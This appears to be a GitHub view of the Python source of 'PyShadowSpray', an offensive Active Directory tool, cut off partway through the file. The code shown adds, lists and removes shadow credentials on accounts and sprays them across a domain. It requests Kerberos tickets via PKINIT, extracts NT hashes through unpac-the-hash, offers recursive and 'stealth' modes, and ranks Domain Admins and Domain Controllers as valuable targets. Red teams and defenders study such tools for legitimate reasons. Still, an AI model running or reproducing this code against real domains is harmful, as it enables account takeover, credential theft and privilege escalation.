-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathPyShadowSpray.py
More file actions
2086 lines (1800 loc) · 108 KB
/
PyShadowSpray.py
File metadata and controls
2086 lines (1800 loc) · 108 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
import typer
import sys
import os
import ldap3
import re
import random
import string
import warnings
import io
import contextlib
import datetime
from tqdm import tqdm
from ldap3.utils.conv import escape_filter_chars
from lib.scripts.banner import show_banner
from lib.ldap import init_ldap_session, get_dn
from lib.scripts.pkinit_tools import get_tgt_pkinit, get_nt_hash_from_tgt
# Suppress CryptographyDeprecationWarning about certificate serial numbers
warnings.filterwarnings('ignore', category=DeprecationWarning, module='cryptography')
# Also suppress by message pattern to catch the serial number warning
warnings.filterwarnings('ignore', message='.*serial number.*wasn.*t positive.*')
warnings.filterwarnings('ignore', message='.*Parsed a serial number.*')
# Try to suppress CryptographyDeprecationWarning specifically if available
try:
from cryptography.utils import CryptographyDeprecationWarning
warnings.filterwarnings('ignore', category=CryptographyDeprecationWarning)
except ImportError:
pass
# Color codes for terminal output
class Colors:
GREEN = '\033[92m'
RED = '\033[91m'
YELLOW = '\033[93m'
CYAN = '\033[96m'
RESET = '\033[0m'
@staticmethod
def success(msg: str) -> str:
"""Colorize only the [+] prefix and words like 'Success' in the message"""
# Colorize [+] prefix
msg = re.sub(r'(\[\+\])', f'{Colors.GREEN}\\1{Colors.RESET}', msg)
# Colorize words like "Success", "SUCCESS", "Successfully"
msg = re.sub(r'\b(Success|SUCCESS|Successfully)\b', f'{Colors.GREEN}\\1{Colors.RESET}', msg, flags=re.IGNORECASE)
return msg
@staticmethod
def error(msg: str) -> str:
"""Colorize only the [-] / [!] prefixes and words like 'Failed', 'Error' in the message"""
# Colorize [-] or [!] prefix
msg = re.sub(r'(\[-\]|\[\!\])', f'{Colors.RED}\\1{Colors.RESET}', msg)
# Colorize words like "Failed", "Error"
msg = re.sub(r'\b(Failed|Error|ERROR)\b', f'{Colors.RED}\\1{Colors.RESET}', msg, flags=re.IGNORECASE)
return msg
@staticmethod
def format(msg: str) -> str:
"""Apply standard coloring: [*] yellow, [+] green, [-]/[!] red."""
# Apply success/error coloring first
msg = Colors.success(msg)
msg = Colors.error(msg)
# Color [*] as yellow
msg = re.sub(r'(\[\*\])', f'{Colors.YELLOW}\\1{Colors.RESET}', msg)
return msg
# Shadow credentials imports
try:
from dsinternals.common.data.DNWithBinary import DNWithBinary
from dsinternals.common.data.hello.KeyCredential import KeyCredential
from dsinternals.system.Guid import Guid
from dsinternals.common.cryptography.X509Certificate2 import X509Certificate2
from dsinternals.system.DateTime import DateTime
DSINTERNALS_AVAILABLE = True
except ImportError:
DSINTERNALS_AVAILABLE = False
# PFX export imports
try:
from cryptography import x509
from cryptography.hazmat.primitives.serialization.pkcs12 import serialize_key_and_certificates
from cryptography.hazmat.primitives.serialization import BestAvailableEncryption, NoEncryption
from cryptography.hazmat.backends import default_backend
CRYPTOGRAPHY_AVAILABLE = True
except ImportError:
CRYPTOGRAPHY_AVAILABLE = False
# PFX export function (same as PyWhisker)
def export_pfx_with_cryptography(pem_cert_file, pem_key_file, pfx_password=None, out_file='cert.pfx'):
"""Export PEM certificate and key to PFX format"""
with open(pem_cert_file, 'rb') as f:
pem_cert_data = f.read()
with open(pem_key_file, 'rb') as f:
pem_key_data = f.read()
# Suppress the specific warning when loading certificate
with warnings.catch_warnings():
warnings.simplefilter('ignore', DeprecationWarning)
cert_obj = x509.load_pem_x509_certificate(pem_cert_data, default_backend())
from cryptography.hazmat.primitives import serialization
key_obj = serialization.load_pem_private_key(pem_key_data, password=None, backend=default_backend())
# Password or NoEncryption
if pfx_password is None:
encryption_algo = NoEncryption()
else:
encryption_algo = BestAvailableEncryption(pfx_password.encode('utf-8'))
pfx_data = serialize_key_and_certificates(
name=b"ShadowCredentialCert",
key=key_obj,
cert=cert_obj,
cas=None,
encryption_algorithm=encryption_algo
)
with open(out_file, 'wb') as f:
f.write(pfx_data)
# PKINIT integration - use internal PKINIT tools functions
def get_tgt_and_nt_hash(cert_file, key_file, pfx_file, pfx_password, domain, dc_ip, target_user, output_dir='', debug=False, stealth=False, write_func=None):
"""Automatically get TGT and NT hash using internal PKINIT tools
Args:
target_user: The target user account (sAMAccountName) to get TGT/NT hash for
stealth: If True, skip NT hash extraction (unpac-the-hash) and only get TGT/ccache
write_func: Optional function to use for output (e.g., tqdm.write). If None, uses print()
"""
if write_func is None:
write_func = print
# Use output directory for ccache file
if output_dir:
ccache_file = os.path.join(output_dir, f"{target_user}.ccache")
else:
ccache_file = f"{target_user}.ccache"
try:
# Step 1: Get TGT using PKINIT
if debug:
write_func(Colors.format(f"[*] Requesting TGT using PKINIT..."))
# Capture stdout and stderr during PKINIT to prevent output from interfering with progress bar
stdout_capture = io.StringIO()
stderr_capture = io.StringIO()
with contextlib.redirect_stdout(stdout_capture), contextlib.redirect_stderr(stderr_capture):
asrep_key, ccache_path = get_tgt_pkinit(
cert_file=cert_file,
key_file=key_file,
pfx_file=pfx_file,
pfx_password=pfx_password,
domain=domain,
username=target_user,
dc_ip=dc_ip,
ccache_file=ccache_file,
debug=debug
)
# Check for errors in captured output and display them using write_func
stdout_output = stdout_capture.getvalue()
stderr_output = stderr_capture.getvalue()
# Process any error messages from captured output
all_output = stdout_output + stderr_output
if all_output and not debug:
lines = all_output.strip().split('\n')
for line in lines:
line = line.strip()
if line and ('Error getting TGT' in line or 'KDC_ERR' in line or ('Error' in line and 'Name' in line)):
# Format the error message properly
if 'Error getting TGT' in line:
write_func(Colors.error(line))
elif 'KDC_ERR' in line or 'Error Name' in line:
write_func(Colors.error(f"[-] Error getting TGT: {line}"))
if not asrep_key or not ccache_path:
write_func(Colors.error(f"[-] Failed to get TGT for {target_user}"))
return None, None
if debug:
write_func(f"[+] TGT saved to: {ccache_path}")
write_func(f"[+] AS-REP encryption key: {asrep_key}")
# Step 2: Get NT hash using U2U (skip if stealth mode)
if stealth:
if debug:
write_func(Colors.format(f"[*] Stealth mode: Skipping NT hash extraction (unpac-the-hash)"))
write_func(Colors.success(f"[+] SUCCESS! TGT obtained for {target_user} (stealth mode - no NT hash extraction)"))
write_func(Colors.success(f"[+] Ccache file saved: {ccache_path}"))
return asrep_key, None # Return None for nt_hash in stealth mode
# Normal mode: Extract NT hash
if debug:
write_func(Colors.format(f"[*] Requesting NT hash using U2U..."))
# Capture stdout and stderr during NT hash extraction
stdout_capture = io.StringIO()
stderr_capture = io.StringIO()
with contextlib.redirect_stdout(stdout_capture), contextlib.redirect_stderr(stderr_capture):
nt_hash = get_nt_hash_from_tgt(
ccache_file=ccache_path,
domain=domain,
username=target_user,
asrep_key=asrep_key,
dc_ip=dc_ip,
do_key_list=False,
debug=debug
)
# Process any error messages from captured output
all_output = stdout_capture.getvalue() + stderr_capture.getvalue()
if all_output and not debug:
lines = all_output.strip().split('\n')
for line in lines:
line = line.strip()
if line and ('Error' in line or 'failed' in line.lower() or 'KDC_ERR' in line):
write_func(Colors.error(f"[-] {line}"))
if nt_hash:
if debug:
write_func(Colors.success(f"[+] Recovered NT Hash: {nt_hash}"))
write_func(Colors.success(f"[+] SUCCESS! Recovered NT Hash for {target_user}: {nt_hash}"))
else:
write_func(Colors.error(f"[-] Could not extract NT hash for {target_user}"))
return asrep_key, nt_hash
except Exception as e:
if debug:
import traceback
traceback.print_exc()
write_func(Colors.format(f"[-] Error in PKINIT automation: {e}"))
return None, None
app = typer.Typer(
no_args_is_help=True,
add_completion=False,
rich_markup_mode='rich',
context_settings={'help_option_names': ['-h', '--help']},
pretty_exceptions_show_locals=False
)
@app.command()
def main(
username : str = typer.Option(None, "-u", "--username", help="Username"),
password : str = typer.Option(None, '-p', '--password', help="Password"),
domain : str = typer.Option(..., '-d', '--domain', help="Domain"),
dc_ip : str = typer.Option(None, '-dc-ip', '--dc-ip', help="IP address or FQDN of domain controller"),
target_dom : str = typer.Option(None, '-t', '--target-domain', '-target-domain', help='Target domain. Use if authenticating across trusts.'),
ldaps : bool = typer.Option(False, '-ldaps', '--ldaps', help='Use LDAPS instead of LDAP'),
kerberos : bool = typer.Option(False, "-k", "--kerberos", help='Use Kerberos authentication. Grabs credentials from .ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command arguments'),
hashes : str = typer.Option(None, "-hashes", "--hashes", metavar="LMHASH:NTHASH", help="LM and NT hashes, format is LMHASH:NTHASH or :NTHASH (NT hash only). For Kerberos: LMHASH:NTHASH or :NTHASH for pass-the-hash"),
ccache : str = typer.Option(None, "--ccache", help='Path to ccache file (alternative to KRB5CCNAME environment variable)'),
debug : bool = typer.Option(False, '-debug', '--debug', help='Enable Verbose Logging'),
target : str = typer.Option(None, '--target', help='Target user/computer for shadow credential operations'),
add : bool = typer.Option(False, '--add', help='Add shadow credential to target user'),
list_creds : bool = typer.Option(False, '--list', help='List device IDs for target user'),
remove : str = typer.Option(None, '--remove', metavar='DEVICEID', help='Remove device ID from target user'),
clear : bool = typer.Option(False, '--clear', help='Remove ALL device IDs from target user (requires confirmation)'),
spray : bool = typer.Option(False, '--spray', help='Spray shadow credentials to all users/computers and get NT hashes'),
user_pass_file : str = typer.Option(None, '--user-pass', help='File with username:password pairs (one per line) for spray'),
recursive : bool = typer.Option(False, '--recursive', help='Recursively use compromised accounts to continue spraying'),
export_type : str = typer.Option('PFX', '--export', help='Export certificate format: PEM or PFX (default: PFX)'),
cert_path : str = typer.Option(None, '--cert-path', help='Path/filename for certificate export'),
output_dir : str = typer.Option('creds', '--output-dir', help='Output directory for certificates and ccache files (default: creds)'),
no_autoremove : bool = typer.Option(False, '--no-autoremove', help='Do not automatically remove device IDs after PKINIT'),
no_banner : bool = typer.Option(False, '--no-banner', help='Do not show banner (Easier for Screenshots)'),
stealth : bool = typer.Option(False, '--stealth', help='Stealth mode: Skip NT hash extraction (unpac-the-hash). Only get TGT/ccache files for recursive operations'),
):
"""
PyShadowSpray - Shadow credentials spray attack tool
Query LDAP for users in the domain.
"""
if no_banner:
show_banner()
show_banner()
else:
show_banner()
# Parse hashes if provided (format: LMHASH:NTHASH or :NTHASH)
lmhash = None
nthash = None
if hashes:
hash_parts = hashes.split(':')
if len(hash_parts) == 2:
lmhash = hash_parts[0] if hash_parts[0] else None
nthash = hash_parts[1] if hash_parts[1] else None
if not nthash:
print(f"[-] Error: Invalid hash format. Use LMHASH:NTHASH or :NTHASH")
sys.exit(1)
else:
print(f"[-] Error: Invalid hash format. Use LMHASH:NTHASH or :NTHASH")
sys.exit(1)
# Get password if not provided and no hashes (unless using Kerberos with ccache)
if not password and not nthash and username and not (kerberos and (ccache or os.getenv('KRB5CCNAME'))):
import getpass
password = getpass.getpass(f"Password for {domain}\\{username}: ")
# Determine target domain controller
if not dc_ip:
dc_ip = domain
# Setup output directory
if not output_dir:
output_dir = 'creds' # Default directory
# Create output directory if it doesn't exist
output_dir = os.path.abspath(output_dir)
if not os.path.exists(output_dir):
os.makedirs(output_dir, exist_ok=True)
if debug:
print(f"[*] Created output directory: {output_dir}")
elif debug:
print(f"[*] Using output directory: {output_dir}")
try:
# Initialize LDAP session (pass nthash if provided, otherwise password)
if debug:
print(f"[*] Connecting to {dc_ip}...")
if kerberos:
print(f"[*] Using Kerberos authentication")
if ccache:
print(f"[*] Using ccache file: {ccache}")
elif os.getenv('KRB5CCNAME'):
print(f"[*] Using ccache from KRB5CCNAME: {os.getenv('KRB5CCNAME')}")
# Only use Kerberos if -k flag is explicitly provided
# Otherwise use normal NTLM authentication (even if ccache file exists)
use_kerberos = kerberos # Only True if -k flag was used
ldap_server, ldap_session = init_ldap_session(
domain, username, password, dc_ip, ldaps,
nt_hash=nthash, kerberos=use_kerberos, lmhash=lmhash, nthash=nthash,
ccache_file=ccache if use_kerberos else None # Only pass ccache if using kerberos
)
if debug:
print(Colors.success(f"[+] Successfully authenticated to LDAP"))
# Determine search base
if target_dom:
search_base = get_dn(target_dom)
else:
search_base = get_dn(domain)
# Helper function to log device ID operations (defined early so it's available everywhere)
def log_device_id(operation, username, device_id, output_directory='', success=True):
"""Log device ID operations to a log file"""
log_file = os.path.join(output_directory, 'device_ids.log') if output_directory else 'device_ids.log'
timestamp = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
status = "SUCCESS" if success else "FAILED"
log_entry = f"[{timestamp}] {operation.upper()}: {username} | DeviceID: {device_id} | Status: {status}\n"
try:
with open(log_file, 'a') as f:
f.write(log_entry)
except Exception as e:
if debug:
print(f"[-] Warning: Could not write to log file: {e}")
# Validate target user operations
if target:
operation_count = sum([add, list_creds, bool(remove), clear])
if operation_count == 0:
print("[-] Error: When using --target, you must specify one of: --add, --list, --remove DEVICEID, or --clear")
sys.exit(1)
elif operation_count > 1:
print("[-] Error: You can only specify one operation at a time: --add, --list, --remove DEVICEID, or --clear")
sys.exit(1)
# Handle list credentials
if target and list_creds:
if not DSINTERNALS_AVAILABLE:
print("[-] Error: dsinternals library is required for listing credentials")
print("[-] Install it with: pip install dsinternals")
sys.exit(1)
# Find the user
if debug:
print(f"[*] Searching for account: {target}")
ldap_session.search(
search_base,
f'(sAMAccountName={escape_filter_chars(target)})',
attributes=['distinguishedName', 'sAMAccountName', 'msDS-KeyCredentialLink']
)
if not ldap_session.entries:
print(f"[-] Account '{target}' not found in domain")
sys.exit(1)
target_entry = ldap_session.entries[0]
target_dn = target_entry.entry_dn
# Get raw attributes
ldap_session.search(
target_dn,
'(objectClass=*)',
search_scope=ldap3.BASE,
attributes=['SAMAccountName', 'objectSid', 'msDS-KeyCredentialLink']
)
results = None
for entry in ldap_session.response:
if entry['type'] != 'searchResEntry':
continue
results = entry
break
if not results:
print(f"[-] Could not query account properties")
sys.exit(1)
try:
if 'raw_attributes' not in results or 'msDS-KeyCredentialLink' not in results['raw_attributes']:
print(f"[*] Attribute msDS-KeyCredentialLink is either empty or you don't have read permissions")
else:
creds = results['raw_attributes']['msDS-KeyCredentialLink']
if len(creds) == 0:
print(f"[*] No key credentials found for {target}")
else:
print(Colors.success(f"[+] Found {len(creds)} key credential(s) for {target}:"))
for dn_binary_value in creds:
try:
keyCredential = KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(dn_binary_value))
if keyCredential.DeviceId is None:
print(f" [-] Failed to parse DeviceId")
else:
print(f" [+] DeviceID: {keyCredential.DeviceId.toFormatD()} | Creation Time (UTC): {keyCredential.CreationTime}")
except Exception as err:
print(f" [-] Failed to parse keyCredential: {err}")
except (IndexError, KeyError):
print(f"[*] Attribute msDS-KeyCredentialLink does not exist")
ldap_session.unbind()
return
# Handle remove credential
if target and remove:
if not DSINTERNALS_AVAILABLE:
print("[-] Error: dsinternals library is required for removing credentials")
print("[-] Install it with: pip install dsinternals")
sys.exit(1)
device_id = remove # The remove parameter contains the device ID
# Find the user
if debug:
print(f"[*] Searching for account: {target}")
ldap_session.search(
search_base,
f'(sAMAccountName={escape_filter_chars(target)})',
attributes=['distinguishedName', 'sAMAccountName', 'msDS-KeyCredentialLink']
)
if not ldap_session.entries:
print(f"[-] Account '{target}' not found in domain")
sys.exit(1)
target_entry = ldap_session.entries[0]
target_dn = target_entry.entry_dn
# Get raw attributes
ldap_session.search(
target_dn,
'(objectClass=*)',
search_scope=ldap3.BASE,
attributes=['SAMAccountName', 'objectSid', 'msDS-KeyCredentialLink']
)
results = None
for entry in ldap_session.response:
if entry['type'] != 'searchResEntry':
continue
results = entry
break
if not results:
print(f"[-] Could not query account properties")
sys.exit(1)
try:
if 'raw_attributes' not in results or 'msDS-KeyCredentialLink' not in results['raw_attributes']:
print(f"[-] Attribute msDS-KeyCredentialLink does not exist or is empty")
sys.exit(1)
new_values = []
device_id_in_current_values = False
for dn_binary_value in results['raw_attributes']['msDS-KeyCredentialLink']:
try:
keyCredential = KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(dn_binary_value))
if keyCredential.DeviceId is None:
print(f"[-] Warning: Failed to parse DeviceId for one credential, keeping it")
new_values.append(dn_binary_value)
continue
if keyCredential.DeviceId.toFormatD() == device_id:
print(f"[+] Found credential with DeviceID {device_id} to remove")
device_id_in_current_values = True
else:
new_values.append(dn_binary_value)
except Exception as err:
print(f"[-] Warning: Failed to parse credential, keeping it: {err}")
new_values.append(dn_binary_value)
if device_id_in_current_values:
print(f"[*] Removing credential from {target}...")
ldap_session.modify(
target_dn,
{'msDS-KeyCredentialLink': [ldap3.MODIFY_REPLACE, new_values]}
)
if ldap_session.result['result'] == 0:
print(Colors.success(f"[+] Successfully removed credential with DeviceID {device_id}"))
else:
error_msg = ldap_session.result.get('message', 'Unknown error')
if ldap_session.result['result'] == 50:
print(f"[-] Insufficient rights: {error_msg}")
elif ldap_session.result['result'] == 19:
print(f"[-] Constraint violation: {error_msg}")
else:
print(f"[-] LDAP error: {error_msg}")
sys.exit(1)
else:
print(f"[-] No credential with DeviceID {device_id} found for {target}")
sys.exit(1)
except (IndexError, KeyError):
print(f"[-] Attribute msDS-KeyCredentialLink does not exist")
sys.exit(1)
ldap_session.unbind()
return
# Handle clear all credentials
if target and clear:
if not DSINTERNALS_AVAILABLE:
print("[-] Error: dsinternals library is required for clearing credentials")
print("[-] Install it with: pip install dsinternals")
sys.exit(1)
# Find the user
if debug:
print(f"[*] Searching for account: {target}")
ldap_session.search(
search_base,
f'(sAMAccountName={escape_filter_chars(target)})',
attributes=['distinguishedName', 'sAMAccountName', 'msDS-KeyCredentialLink']
)
if not ldap_session.entries:
print(f"[-] Account '{target}' not found in domain")
sys.exit(1)
target_entry = ldap_session.entries[0]
target_dn = target_entry.entry_dn
# Get raw attributes
ldap_session.search(
target_dn,
'(objectClass=*)',
search_scope=ldap3.BASE,
attributes=['SAMAccountName', 'objectSid', 'msDS-KeyCredentialLink']
)
results = None
for entry in ldap_session.response:
if entry['type'] != 'searchResEntry':
continue
results = entry
break
if not results:
print(f"[-] Could not query account properties")
sys.exit(1)
try:
if 'raw_attributes' not in results or 'msDS-KeyCredentialLink' not in results['raw_attributes']:
print(f"[*] Attribute msDS-KeyCredentialLink does not exist or is empty - nothing to clear")
ldap_session.unbind()
return
creds = results['raw_attributes']['msDS-KeyCredentialLink']
if len(creds) == 0:
print(f"[*] No key credentials found for {target} - nothing to clear")
ldap_session.unbind()
return
# List all device IDs that will be removed
device_ids = []
print(f"[*] Found {len(creds)} device ID(s) for {target}:")
for dn_binary_value in creds:
try:
keyCredential = KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(dn_binary_value))
if keyCredential.DeviceId is not None:
device_id_str = keyCredential.DeviceId.toFormatD()
device_ids.append(device_id_str)
print(f" [+] DeviceID: {device_id_str} | Creation Time (UTC): {keyCredential.CreationTime}")
except Exception as err:
print(f" [-] Failed to parse keyCredential: {err}")
if not device_ids:
print(f"[*] No valid device IDs found to remove")
ldap_session.unbind()
return
# Ask for confirmation
print(f"\n[!] WARNING: This will remove ALL {len(device_ids)} device ID(s) from {target}")
confirmation = input("Are you sure you want to do this (O.o)? [yes/no]: ")
if confirmation.lower() not in ['yes', 'y']:
print(f"[*] Operation cancelled")
ldap_session.unbind()
return
# Remove all credentials by setting attribute to empty list
print(f"[*] Clearing all device IDs from {target}...")
ldap_session.modify(
target_dn,
{'msDS-KeyCredentialLink': [ldap3.MODIFY_REPLACE, []]}
)
if ldap_session.result['result'] == 0:
print(Colors.success(f"[+] Successfully cleared all {len(device_ids)} device ID(s) from {target}"))
for device_id_str in device_ids:
try:
log_device_id('REMOVE', target, device_id_str, output_dir, success=True)
except Exception as log_err:
if debug:
print(f"[-] Warning: Could not log device ID removal: {log_err}")
else:
error_msg = ldap_session.result.get('message', 'Unknown error')
if ldap_session.result['result'] == 50:
print(f"[-] Insufficient rights: {error_msg}")
elif ldap_session.result['result'] == 19:
print(f"[-] Constraint violation: {error_msg}")
else:
print(f"[-] LDAP error: {error_msg}")
sys.exit(1)
except (IndexError, KeyError):
print(f"[-] Attribute msDS-KeyCredentialLink does not exist")
sys.exit(1)
ldap_session.unbind()
return
# Helper function to detect if a string is an NT hash (32 character hex string)
def is_nt_hash(value):
"""Check if a string looks like an NT hash (32 character hexadecimal string)"""
if not value or not isinstance(value, str):
return False
value_stripped = value.strip()
return len(value_stripped) == 32 and all(c in '0123456789abcdefABCDEF' for c in value_stripped)
# Helper function to query LDAP for all users/computers
def query_all_accounts(ldap_sess, search_base_val, excluded_users_list=None):
"""Query LDAP once for all enabled users and computers, parse everything from single query
Returns:
tuple: (accounts_list, domain_admins_set, domain_controllers_set)
"""
if excluded_users_list is None:
excluded_users_list = []
# First, get Domain Admins and Enterprise Admins group DNs (quick query before main query)
domain_admins_dns = []
try:
ldap_sess.search(
search_base_val,
'(&(objectClass=group)(|(cn=Domain Admins)(cn=Enterprise Admins)))',
attributes=['distinguishedName']
)
for group_entry in ldap_sess.entries:
domain_admins_dns.append(group_entry.entry_dn)
except Exception as e:
if debug:
print(f"[*] Error querying Domain Admins groups: {e}")
# Get Domain Controllers OU DN (quick query before main query)
domain_controllers_ou_dn = None
try:
ldap_sess.search(
search_base_val,
'(&(objectClass=organizationalUnit)(ou=Domain Controllers))',
attributes=['distinguishedName']
)
if ldap_sess.entries:
domain_controllers_ou_dn = ldap_sess.entries[0].entry_dn
except Exception as e:
if debug:
print(f"[*] Error querying Domain Controllers OU: {e}")
# ONE MAIN QUERY for all enabled users and computers
# Filter for enabled accounts: (!(userAccountControl:1.2.840.113556.1.4.803:=2))
# This checks that the ACCOUNTDISABLE flag (bit 2) is NOT set
search_filter = "(&(objectClass=user)(|(sAMAccountType=805306368)(sAMAccountType=805306369))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"
attributes = ['sAMAccountName', 'sAMAccountType', 'distinguishedName', 'memberOf']
ldap_sess.extend.standard.paged_search(
search_base_val,
search_filter,
attributes=attributes,
paged_size=500,
generator=False
)
if not ldap_sess.entries:
return [], set(), set()
# Parse everything from the single query results
accounts = []
domain_admins_set = set()
domain_controllers_set = set()
for entry in ldap_sess.entries:
if 'sAMAccountName' not in entry:
continue
sam = str(entry['sAMAccountName'])
# Check exclusions
if excluded_users_list:
if sam in excluded_users_list or any(excluded.lower() in sam.lower() for excluded in excluded_users_list):
continue
# Normalize computer account name (add $ if needed) and get account type
account_type = None
is_valuable = False
valuable_reason = []
if 'sAMAccountType' in entry:
account_type = entry['sAMAccountType']
if account_type == 805306369:
if not sam.endswith('$'):
sam = sam + '$'
# Check if account is Domain Admin by parsing memberOf attribute
is_domain_admin = False
if 'memberOf' in entry:
member_of = entry['memberOf']
member_of_list = member_of if isinstance(member_of, list) else [member_of]
for group_dn in member_of_list:
group_dn_str = str(group_dn)
# Check if member of Domain Admins or Enterprise Admins (by DN)
for da_dn in domain_admins_dns:
if group_dn_str.lower() == da_dn.lower() or group_dn_str.lower().endswith(da_dn.lower()):
is_domain_admin = True
is_valuable = True
valuable_reason.append("Domain Admin")
domain_admins_set.add(sam)
# Also add without $ for computer accounts comparison
if sam.endswith('$'):
domain_admins_set.add(sam[:-1])
else:
domain_admins_set.add(sam + '$')
break
if is_domain_admin:
break
# Check if account is Domain Controller by parsing distinguishedName
is_domain_controller = False
entry_dn = entry.entry_dn
# Check if DN contains "OU=Domain Controllers" or "CN=Domain Controllers"
# Domain Controllers are computer accounts in the Domain Controllers OU
if 'OU=Domain Controllers' in entry_dn or (domain_controllers_ou_dn and entry_dn.lower().startswith(domain_controllers_ou_dn.lower())):
# Also verify it's a computer account (sAMAccountType 805306369)
if account_type == 805306369:
is_domain_controller = True
is_valuable = True
valuable_reason.append("Domain Controller")
domain_controllers_set.add(sam)
# Also add without $ for comparison
if sam.endswith('$'):
domain_controllers_set.add(sam[:-1])
else:
domain_controllers_set.add(sam + '$')
accounts.append({
'sAMAccountName': sam,
'sAMAccountType': account_type,
'distinguishedName': entry.entry_dn,
'isValuable': is_valuable,
'valuableReason': ', '.join(valuable_reason) if valuable_reason else None
})
return accounts, domain_admins_set, domain_controllers_set
# Helper function to get all Domain Admins members (query once, use many times)
def get_domain_admins_set(ldap_sess, search_base):
"""Query all Domain Admins members once and return as a set of sAMAccountNames"""
domain_admins_set = set()
try:
# Find Domain Admins DN
ldap_sess.search(
search_base,
'(&(objectClass=group)(|(cn=Domain Admins)(cn=Enterprise Admins)))',
attributes=['distinguishedName', 'member']
)
if not ldap_sess.entries:
if debug:
print("[*] Domain Admins group not found")
return domain_admins_set
# Get all Domain Admin groups
da_groups = []
for entry in ldap_sess.entries:
da_groups.append(entry.entry_dn)
if debug:
print(f"[*] Found group: {entry.entry_dn}")
# Query all members using recursive membership search (memberOf:1.2.840.113556.1.4.1941)
for da_dn in da_groups:
ldap_sess.search(
search_base,
f'(memberOf:1.2.840.113556.1.4.1941:={escape_filter_chars(da_dn)})',
attributes=['sAMAccountName']
)
for entry in ldap_sess.entries:
if 'sAMAccountName' in entry:
sam = str(entry['sAMAccountName'])
domain_admins_set.add(sam)
# Also add without $ for computer accounts comparison
if sam.endswith('$'):
domain_admins_set.add(sam[:-1])
else:
domain_admins_set.add(sam + '$')
if debug and domain_admins_set:
print(f"[*] Found {len(domain_admins_set)} Domain Admin(s)/Enterprise Admin(s)")
except Exception as e:
if debug:
print(f"[*] Error querying Domain Admins: {e}")
return domain_admins_set
# Helper function to check if user is Domain Admin (for single account checks outside recursive mode)
def is_domain_admin(ldap_sess, sam_name, search_base):
"""Check if user is member of Domain Admins (used for single account checks)"""
try:
# Search for the user
ldap_sess.search(
search_base,
f'(sAMAccountName={escape_filter_chars(sam_name)})',
attributes=['memberOf', 'primaryGroupID']
)
if not ldap_sess.entries:
return False
entry = ldap_sess.entries[0]
# Check memberOf for Domain Admins
if 'memberOf' in entry:
member_of = entry['memberOf']
